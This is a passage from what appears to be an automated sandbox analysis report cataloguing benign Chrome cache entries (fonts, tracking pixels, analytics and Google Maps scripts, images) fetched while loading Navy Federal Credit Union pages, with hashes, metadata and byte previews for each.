Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 13992, version 1.3276
Category:	downloaded
Size (bytes):	13992
Entropy (8bit):	7.98697221343186
Encrypted:	false
SSDEEP:	192:7vzVA73+kUcUsi+Ewewu2MNDeY8b6c4FdnepqLJn5ez76xjpPlB+NmZwp/tJr/:rutU7+/ubNalYNeOj9xjpPjEp/tJ7
MD5:	24F686CE4AE9498D22F10573CDAEB05D
SHA1:	A8EB7A7729F7F69F145D0505B9F3219D3B8B1A9A
SHA-256:	0B1DD42CCD2F5DA83FA717B15FDD9F91879436B84A15D95340FC7ED5C2BC0269
SHA-512:	E0E9AA5B39AD965B26AC43C31A3A06C3E2D241F2AB06E1CDF571E1EBA2E231465C60E2AF9911BA1D3CD695B6E08EC8CC022CD7E4FBA89C0E4961218F20A9D471
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/etc.clientlibs/nfculibs/clientlibs/uife/clientlib-uife-nfculibs-site/resources/fonts/source-sans/source-sans-pro-v9-latin-600.woff2
Preview:	wOF2......6...........6E.........................@..h..`.`..f.(..s.....`..-.6.$..D..d.. ..\..9.K.;y.l\e.....;....66..........59..~...X...).pE..i...Wm.J.......:.E7...f.lKOj.;...........M_P=...(.Q...S...N...{....8""i..5.T"...v...i..........(+@A.F.....,+.s..em..E......Y.L.x..MS...6......0l..LL83n...97v.s.p.......11.>.)..Z..\$;o....;.jj....I....%..Q.i.e_......o.....(p.N.-.Y..B...e....,K.^..n.....V...'.....o@......F..\|mg.i.I..l..,..MZ..P...".....C...r}....h!........uZ...-.? ..Un...k../../%...DV.K..d/.f.M....@...,X.....#.....+....Og.......2E..P.\.IQ.5..g...C....co.....>.n..D..u@mR6T4...$q......2...(.`.k.X.>....I.i7.......-)R....B.o.5l~...'M.5"%.n..2.L..V...\...N(H>......0[..../H......R..)W.2..2...;....L"...G.......2......!..WV...u....(.H5......+B..V..;^.....a..b.=..)o.5i.B.M."..s.~...c-....}h.%.Ig..hE...........A.+y............V..-.P...F.I.u.. .W.i/.~..b..4....^..@.B..^....(........Y..f.Dz.....^........w.....?..v...R... .L}....M?.XM.....~>..

Chrome Cache Entry: 485

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://adservice.google.com/ddm/fls/z/dc_pre=CPmT-vKup4YDFd50QQIdxWULrA;src=9749892;type=gener0;cat=nfcu_0;ord=8505920471743;npa=0;auiddc=*;ps=1;pcor=843276876;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 486

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	M3U playlist, ASCII text, with very long lines (375)
Category:	dropped
Size (bytes):	898
Entropy (8bit):	5.237657827969263
Encrypted:	false
SSDEEP:	12:PGfiyYFl2qNwPFl2DuRPV4a2YFl2ZNwPFl2DuRPV4/5:Ofv2WTwCV4P2rTwCV4x
MD5:	781D5C28B1ED9B41FE326AFFC32A7B83
SHA1:	912613CCAED14AC2E6DB8DF46CC05AED1B81630E
SHA-256:	0D16B84A761F5BA03223D6129E1D484763694D6C9B156BE8B860997B20BA32E2
SHA-512:	A07CEA6617643817E1973F55BE5DEC76EA643CC4DB5557E02F6149009698FEA6439202D31775C973C6C46C88AB26312DF19D8F79D6918FF6D6F53DCAA4A8964D
Malicious:	false
Reputation:	low
Preview:	#EXTM3U.#EXT-X-VERSION:3.#EXT-X-PLAYLIST-TYPE:VOD.#EXT-X-MEDIA-SEQUENCE:0.#EXT-X-TARGETDURATION:30.#EXTINF:30.000,.https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/fd78cafe-3c21-4653-957d-e1ecbd8fece0/segment0.vtt?akamai_token=exp=1716609792~acl=/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/fd78cafe-3c21-4653-957d-e1ecbd8fece0/~hmac=043af47b08a8ba0046fbdd3df41cd8ac187a10bace3cd5fd2ba32ba2a62f5e23.#EXTINF:20.155,.https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/fd78cafe-3c21-4653-957d-e1ecbd8fece0/segment1.vtt?akamai_token=exp=1716609792~acl=/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/fd78cafe-3c21-4653-957d-e1ecbd8fece0/~hmac=043af47b08a8ba0046fbdd3df41cd8ac187a10bace3cd5fd2ba32ba2a62f5e23.#EXT-X-ENDLIST.

Chrome Cache Entry: 487

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 488

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (41027)
Category:	downloaded
Size (bytes):	985375
Entropy (8bit):	5.369891004211313
Encrypted:	false
SSDEEP:	12288:JHrObZL7FfBgXqXQSGfUt0YdxN9MfXpgIOBE:JybZL7rWqXQSaUtBWgIWE
MD5:	392AE7104E10265D3B41C462E80D7B2E
SHA1:	BFF6571ED2B5F684ECC5028D000CF4F3B382BE93
SHA-256:	3E8FABB0645F772F381A11B96C1C36A6DB6B0C5D6B60A4E848ECD45A5A804290
SHA-512:	65F8A4BC2C42656E2FED23130769F9517A5F74BE7E0716920424D37C3FAEB5973964821631FD50F77652EFD8E60148522F0426E48D98334EF086314ED8AAE70B
Malicious:	false
Reputation:	low
URL:	https://players.brightcove.net/5289441629001/H1eDsUIBZ_default/index.html?videoId=5368522558001
Preview:	<!DOCTYPE html>.<html lang="" class="bc-iframe">.<head>. <meta charset="utf-8">. <title></title>. <meta name="viewport" content="user-scalable=0, width=device-width, maximum-scale=1">. <meta http-equiv="X-UA-Compatible" content="IE=edge">.. <link rel="icon" href="data:;base64,iVBORw0KGgo=">.. <style id="bc-style-vjs">. @charset "UTF-8";.video-js .vjs-big-play-button .vjs-icon-placeholder:before,.video-js .vjs-modal-dialog,.vjs-button>.vjs-icon-placeholder:before,.vjs-modal-dialog .vjs-modal-dialog-content{position:absolute;top:0;left:0;width:100%;height:100%}.video-js .vjs-big-play-button .vjs-icon-placeholder:before,.vjs-button>.vjs-icon-placeholder:before{text-align:center}@font-face{font-family:VideoJS;src:url(data:application/font-woff;charset=utf-8;base64,d09GRgABAAAAABDkAAsAAAAAG6gAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABHU1VCAAABCAAAADsAAABUIIslek9TLzIAAAFEAAAAPgAAAFZRiV3hY21hcAAAAYQAAADaAAADPv749/pnbHlmAAACYAAAC3AAABHQZg6OcWhlYWQAAA3QAAAAKwAAADYZw251aGhl

Chrome Cache Entry: 489

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1553), with no line terminators
Category:	downloaded
Size (bytes):	1553
Entropy (8bit):	5.274532669388231
Encrypted:	false
SSDEEP:	24:90HxbiGROFsyg+pxDQK0GpBy0dPGExhOSDPGx4qnMrtGaGvzMWCM+oDd5dM+5LR:yNrav/0Gp5uETqx4qMzGgM7Dd5dM+/
MD5:	B44B493169594CD96DC901E67801DC8E
SHA1:	57B7EA32D69EB6DE4F437A80C7F54BE40DF8EA63
SHA-256:	80C7FBFB05D7DE0AB3C80FB9517FA409F7B36C69778BC7C4683B32A7ED2BAF8D
SHA-512:	E5ABECA4DF957F8E7723F98F0078FA08C7DFB53AC634A877E0D26483994AF776D4E92E64CD392AD364738864B24B362C3EAEC49A74E0A15182012536532B483E
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/etc.clientlibs/nfo/clientlibs/uife/clientlib-uife-homePage.lc-b44b493169594cd96dc901e67801dc8e-lc.min.js
Preview:	(()=>{"use strict";var e,r={},o={};function t(e){var n=o[e];if(void 0!==n)return n.exports;var i=o[e]={exports:{}};return r[e].call(i.exports,i,i.exports,t),i.exports}t.m=r,e=[],t.O=(r,o,n,i)=>{if(!o){var a=1/0;for(s=0;s<e.length;s++){o=e[s][0],n=e[s][1],i=e[s][2];for(var l=!0,f=0;f<o.length;f++)(!1&i\|\|a>=i)&&Object.keys(t.O).every((e=>t.O[e](o[f])))?o.splice(f--,1):(l=!1,i<a&&(a=i));if(l){e.splice(s--,1);var u=n();void 0!==u&&(r=u)}}return r}i=i\|\|0;for(var s=e.length;s>0&&e[s-1][2]>i;s--)e[s]=e[s-1];e[s]=[o,n,i]},t.n=e=>{var r=e&&e.__esModule?()=>e.default:()=>e;return t.d(r,{a:r}),r},t.d=(e,r)=>{for(var o in r)t.o(r,o)&&!t.o(e,o)&&Object.defineProperty(e,o,{enumerable:!0,get:r[o]})},t.e=()=>Promise.resolve(),t.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),t.o=(e,r)=>Object.prototype.hasOwnProperty.call(e,r),t.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object

Chrome Cache Entry: 490

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (599), with no line terminators
Category:	downloaded
Size (bytes):	599
Entropy (8bit):	5.031239309119618
Encrypted:	false
SSDEEP:	12:2wiGD0yq/IQEA2+U1kAkxVYr4Mpq+iuHnINDRWZBbS4vps:2wiGoygIoVU1N0wvc+iuH4RWZBbS7
MD5:	7CFAA4C2CF88463B90EE60936015B37D
SHA1:	36F7D777060B4728111EBEFC86F2B152811B4BA3
SHA-256:	45E8E44E4EA188CC8887248DCE230EA818CFF020B936F3A5AF9BC849D7F57F37
SHA-512:	59929C762D1A584534344242B4B2548358276753C5724F188D15C6360B9D354856FDA6F1262E660582802A1ACC34AD8E63AD3E24D370E51B0CDBB746AC508B81
Malicious:	false
Reputation:	low
URL:	https://cdn.bttrack.com/js/15654/analytics/1.0/analytics.min.js
Preview:	(function(n){var f,t,r,i,u;n.hasSessionStorage=function(){var n="bidtellect";try{return sessionStorage.setItem(n,n),sessionStorage.removeItem(n),!0}catch(t){return!1}};f=(new Date).getTime();t="https://bttrack.com/engagement/js?goalId=15654&cb="+f;t.substring(0,5)=="http:"&&location.protocol!="file:"&&(t=t.substring(5));n.hasSessionStorage()&&(r=sessionStorage.getItem("bt-session-id"),r&&(t=t+"&sid="+r));i=document.createElement("script");i.async=1;i.src=t;u=document.getElementsByTagName("script")[0];u.parentNode.insertBefore(i,u)})(window.bidtellectEngagement=window.bidtellectEngagement\|\|{})

Chrome Cache Entry: 491

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUkwx7tHh/:fD/
MD5:	221D8352905F2C38B3CB2BD191D630B0
SHA1:	D804B495CB9B84B9007A25B5D85F9AE674004CDE
SHA-256:	89FE0EE6020314794FC2CFEACF3D10C31050CFE56F8EBDDF1ED0A33FBE941FA7
SHA-512:	CB3397776F5CA1D15D24786896B2478C6548D0B14DEC0832BFB16C4C419135300704F8A7A4DFBF56D625429C1598EE8110958648F25A3CCA09E6956C1FD3335F
Malicious:	false
Reputation:	low
URL:	https://px.ads.linkedin.com/collect/?pid=5351114&fmt=gif&cookiesTest=true&liSync=true
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 492

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	19110
Entropy (8bit):	7.954141248800025
Encrypted:	false
SSDEEP:	384:ZVvMSUPiGNTgEfbxstZ7BB73isNSrCX2g+YPo2O4O7N2DDj2YsOpL639:LUPiGNvbxW7T3BZXx+ilO4yEDjhsO96t
MD5:	D8E9C52E0FF174CF06F64473567F3A86
SHA1:	5B19D0BCF3491A250F59C1E10233D1F42FC7951B
SHA-256:	F44742D599F11352412FDB59D7A6FEDBB562A1A74049241D22A2E33E782E064B
SHA-512:	E7DCE596897991CEF1450647DE1F19D8BF6E1ABE25C160D89D71A8BDF309E0EA8FD063504E03BF0A6CAD0B684281AFED90818EDE7D3B17B4D51B34CA22A7E09C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE..................................................................................................................................................u\|\|_ch... !$jpq...WXZ......NRV...szz...................8;<,.2......DIHz........}..p..Px....I2IDATx...e{Z[......q...$...z.<..o...Z[...y.C...&.....ckl.f..0..k.Z.W..:.~....iG}..I.G.~O.......(...3...H".4=.i!-2O.Dz..lR.3.PH.~.I.o......].+F.>....c!MK..}...2..=.\|>...=..jk...=..x<..%...k...g.ZB.9.t.`.)......W.....?.J...0. ..6..]..............}_...{........M.........".....~.7s...>.hF".M..s.........FO......<B.\.y..].\|P....r.X..%\.`5..).'...}..h..%....H...T.._PB.7K,..x5-M..?$......e..r.V. ...U......\|.u<k...n......d..\:>jV..Uo.....6B..T....`.....1._]..@\|...~x./...n.....e..k7.W..j....z=?^?.`......:..<L.."....R...V...+I...j42".....4........q.k.6...}%5.............{.....O.....Z........2S.jo..a).........t

Chrome Cache Entry: 493

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2424)
Category:	downloaded
Size (bytes):	75691
Entropy (8bit):	5.484205493885168
Encrypted:	false
SSDEEP:	1536:B3SHYlxIvnDfEAlBJZhZHGYbzZlxecFLOLiX47Fnn/7tbWBH6xYRinCqAAYi:B3OYlxIvnDfEAlBJ9/bzvxjFLOLiXcn/
MD5:	E040C23E9BED3E61EE8D063B50CCADC0
SHA1:	1D4DD067FDA7EB19E43861D249D7500FD293CBDC
SHA-256:	6F1D3F7B9F9AC1319DC94311F27C7CB61C66FAC4BE4349362F754CAA37C47820
SHA-512:	0666E57392C7495C20D7E4ED15B865DACA1B3AE3C2BA985A12753C640E8901879B7E91689A3884D973CEA488B51EBB227F8479CD58BD7EAEBE0E6032115722D5
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps-api-v3/api/js/57/0/map.js
Preview:	google.maps.__gjsload__('map', function(_){var tka=function(a){try{return _.oa.JSON.parse(a)}catch(b){}a=String(a);if(/^\s$/.test(a)?0:/^[\],:{}\s\u2028\u2029]$/.test(a.replace(/\\["\\\/bfnrtu]/g,"@").replace(/(?:"[^"\\\n\r\u2028\u2029\x00-\x08\x0a-\x1f]"\|true\|false\|null\|-?\d+(?:\.\d)?(?:[eE][+\-]?\d+)?)[\s\u2028\u2029](?=:\|,\|]\|}\|$)/g,"]").replace(/(?:^\|:\|,)(?:[\s\u2028\u2029]\[)+/g,"")))try{return eval("("+a+")")}catch(b){}throw Error("Invalid JSON string: "+a);},uka=function(a){if(a.Fg){a:{a=a.Fg.responseText;if(_.oa.JSON)try{var b=._.oa.JSON.parse(a);break a}catch(c){}b=tka(a)}return b}},vka=function(){var a=_.Bs();return _.I(a.Ig,17)},wka=function(a,b){return a.Fg?new _.an(b.Fg,b.Gg):_.bn(a,_.Ls(_.Ms(a,b)))},xka=function(a){if(!a.getDiv().hasAttribute("dir"))return!1;const b=a.getDiv().dir;return"rtl"===b?!0:"ltr"===b?!1:"rtl"===window.getComputedStyle(a.getDiv()).direction},yka=function(a,b){const c=a.length,d="string"===typeof a?a.split(""):a;for(let e=0;e<c;e++)if(e in d&&

Chrome Cache Entry: 494

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	178
Entropy (8bit):	3.443319403085906
Encrypted:	false
SSDEEP:	3:yionv//thPktklFtE5lxlAyv8/ixd/qllzShlXlNotsup:6v/lhPktk/m5l5jmlajgp
MD5:	DB9564029490754DA8331A03132C5E13
SHA1:	4773BD72BB7443E37E40C9E33820B07A12FF7B26
SHA-256:	0239D84800D90F767050E8E528D7BE59743DB88B3AC79A498BC2077B22F11189
SHA-512:	0E9CF1F2F571D9BDEED654EFD4C40D553372914AC6DF393912073E612448D35E286FE357FEC5EDFAFDCCD533D80536D2EF6BA16259046A775F01EB46DC7D2A8C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE...x......UIDATx......... .O.H.................................................................4....7N.U....IEND.B`.

Chrome Cache Entry: 495

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	24
Entropy (8bit):	4.136842188131013
Encrypted:	false
SSDEEP:	3:DyclXMLQHe:jlXFe
MD5:	D051832A5E33F71101F83E8D2AA1457A
SHA1:	C900112F9FD0BFE0A5EFE737D5C939EE23DA5A0D
SHA-256:	7BB604C7D8A73BE5CE2878CCCBC3F387474D14EE073D5B995B24B57EB12B6AE4
SHA-512:	9ED04496D29C0DC08A72C4E4825181D263AA95A9CA0F692FB48EC08A58258D26ECC05837895293147195789AD11807B7BF7BB7F9523F99BEA205C5A5011E7B0B
Malicious:	false
Reputation:	low
URL:	https://l2.io/ip.js?var=userip
Preview:	userip = "8.46.123.175";

Chrome Cache Entry: 496

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://adservice.google.com/ddm/fls/z/dc_pre=CKCDt4evp4YDFSohBgAdDGcAEg;src=9749892;type=gener0;cat=nfcu_000;ord=7786574454292;npa=0;auiddc=*;ps=1;pcor=552065252;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 497

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (487)
Category:	downloaded
Size (bytes):	488
Entropy (8bit):	4.841686487844174
Encrypted:	false
SSDEEP:	12:ZorFgHDWrwAfu1eEkLsFtdJdG8nGELUD4LxZr8a65wARn:pDWJfurG8Goa4UR
MD5:	2775054C068B37509E0798448F7FD32C
SHA1:	8CCB907373C30EB3B98D5A24EC92141A938F09F5
SHA-256:	484EF4268F1D679C1AE88C06FC2388D39AFC441465732617E5E2CDC2E3D418E2
SHA-512:	5423F06453EA452614E21391C098D252DDB65ABC958C02664D9B6F1BD3BAD858B396B053C57AA714391C8953F849FAC3B6ECB9AA0C4F74F4FB81C1242B485EB4
Malicious:	false
Reputation:	low
URL:	https://js.adsrvr.org/universal_pixel.1.1.0.js
Preview:	var TTDCM = function () { function n(t) { var e = "iframe_" + this.mapIndex++, i = document.createElement("iframe"); i.setAttribute("id", e), i.setAttribute("allowTransparency", !0), i.setAttribute("height", 0), i.setAttribute("width", 0), i.setAttribute("src", t), document.body.appendChild(i) } this.init = function (t) { if (this.sslOnly = "https:" == location.protocol, void 0 !== t && null != t && 0 != t.length) for (var e = t.length, i = this.mapIndex = 0; i < e; i++)n(t[i]) } };.

Chrome Cache Entry: 498

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://adservice.google.com/ddm/fls/z/src=9749892;dc_pre=CNve6vyup4YDFTXLOwIdNMEJvA;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 499

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	5418
Entropy (8bit):	7.883159708584472
Encrypted:	false
SSDEEP:	96:+zCj7oGHYfk5HD3Gtsk36TszjBFijazc51z3f38iWVTbM55eWUmPnhsjkkoPFrpF:+zC3oG4fKHD3esr4fBmagXrUf5FAnhq+
MD5:	B7DF6E9F7AEA364E55D619D449F934EE
SHA1:	59B6C320A43AD2E7B1D46ED3657839C95B6C5C10
SHA-256:	FF9FE96FA2B8975F8866BE85ED3DD4A21128AFC15765146B68850606A1228133
SHA-512:	DC8F00CB57EDBDDF34EE520CE61C47FF0643E37A7ED9438B3FF960EF6E9087AC4D7575DFD838BBDE13C09A0B2C6735CB131F2382A5FD958C96B404FC5429009A
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/more-rewards-elevated-right-tilt?qlt=80&wid=320&ts=1710853491832&fmt=png-alpha&dpr=off
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm.........,iloc....D................".............S...Biinf..........infe........av01Color.....infe........av01Alpha.....iref........auxl..........iprp....ipco....ispe.......@........pixi............av1C........colrnclx...........pixi..........av1C.......8auxC....urn:mpeg:mpegB:cicp:systems:auxiliary:alpha.....ipma.........................}mdat.....!..l2.....$P..=.U..z/...z./......$...A8.-...`.....\|/:.u......7j....8~...W...$.H.....=..D{..8.^W.D.....3....Vrvp2...}.....S:...;u.\.)...UL`....R.(.....b..l..B.f.......Za.fO.f.4...X+..4....m...._%K.l.Z8gd..4k.+..-<,w...\.2.cq.....5.....(Wm.-..8A..r...9o.#.Za.V#.[...&niiA. ...p.J....y<J...R.q.....A..V.F<HI..-S<...f;?..#.z.....I....2f<.O.K...`.......].OLt._;.....,TU...j...T..Vo5..H>"`.r...>....l.1........e...c.:P..G.......3..L.K.8..N..\a.G1...X...3..7../..O\|....E....,..'N..x..l..T.Z.{..(8.A5OV.tr.......G.9..Yf9?!,'7.......6....

Chrome Cache Entry: 500

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	178
Entropy (8bit):	3.443319403085906
Encrypted:	false
SSDEEP:	3:yionv//thPktklFtE5lxlAyv8/ixd/qllzShlXlNotsup:6v/lhPktk/m5l5jmlajgp
MD5:	DB9564029490754DA8331A03132C5E13
SHA1:	4773BD72BB7443E37E40C9E33820B07A12FF7B26
SHA-256:	0239D84800D90F767050E8E528D7BE59743DB88B3AC79A498BC2077B22F11189
SHA-512:	0E9CF1F2F571D9BDEED654EFD4C40D553372914AC6DF393912073E612448D35E286FE357FEC5EDFAFDCCD533D80536D2EF6BA16259046A775F01EB46DC7D2A8C
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps/vt?pb=!1m5!1m4!1i4!2i1!3i5!4i256!2m3!1e0!2sm!3i693439497!3m12!2sen-US!3sUS!5e18!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0&key=AIzaSyCaiC9fbTVZTWG9-By5zs-kXbpzS-PfSWU&token=5044
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE...x......UIDATx......... .O.H.................................................................4....7N.U....IEND.B`.

Chrome Cache Entry: 501

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 28 x 22, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1364
Entropy (8bit):	6.802985094224141
Encrypted:	false
SSDEEP:	24:vp1hpunQWwh82lYSKwnlmVfHT3HyJ3VlELhnqGAinJooou1ktW/Q:fitvnLdheJ3HKA7inJ7l1ko4
MD5:	5CA4D7FFCBB10D1F3EE9F4D5539AB0A0
SHA1:	53E6959BA151171BD855CBB99DBE3C9221EA7950
SHA-256:	A22C3EAB6AEA6F83F7222FE0D2A88A5471E4180430005B8DC3F8EA1E6F2751B2
SHA-512:	FFBA8C8EA0BDF32A3837985E75172A15189275B63D41BF20226235589F0938EBA6363D247D166480AB99E73C3174B588FD5B22482F064E5BB0D4CE95FECEE964
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/etc.clientlibs/nfo/clientlibs/uife/clientlib-uife-fullWidth/resources/images/structure/search.png
Preview:	.PNG........IHDR....................tEXtSoftware.Adobe ImageReadyq.e<...hiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:50E019A21320681188C6D2EA156BC9B6" xmpMM:DocumentID="xmp.did:D5963FA16C4B11E18FE2C4C7914E13A9" xmpMM:InstanceID="xmp.iid:D5963FA06C4B11E18FE2C4C7914E13A9" xmp:CreatorTool="Adobe Photoshop CS5.1 Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:075B853E9B21681188C68B20534450CE" stRef:documentID="xmp.did:50E019A21320681188C6D2EA156BC9B6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......IDATx..ODDA..w+...,.b.K..]:E..C.N......

Chrome Cache Entry: 502

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://adservice.google.com/ddm/fls/z/src=9749892;dc_pre=CLOv4POup4YDFUrHOwId8L0J4A;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 503

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.546439344671015
Encrypted:	false
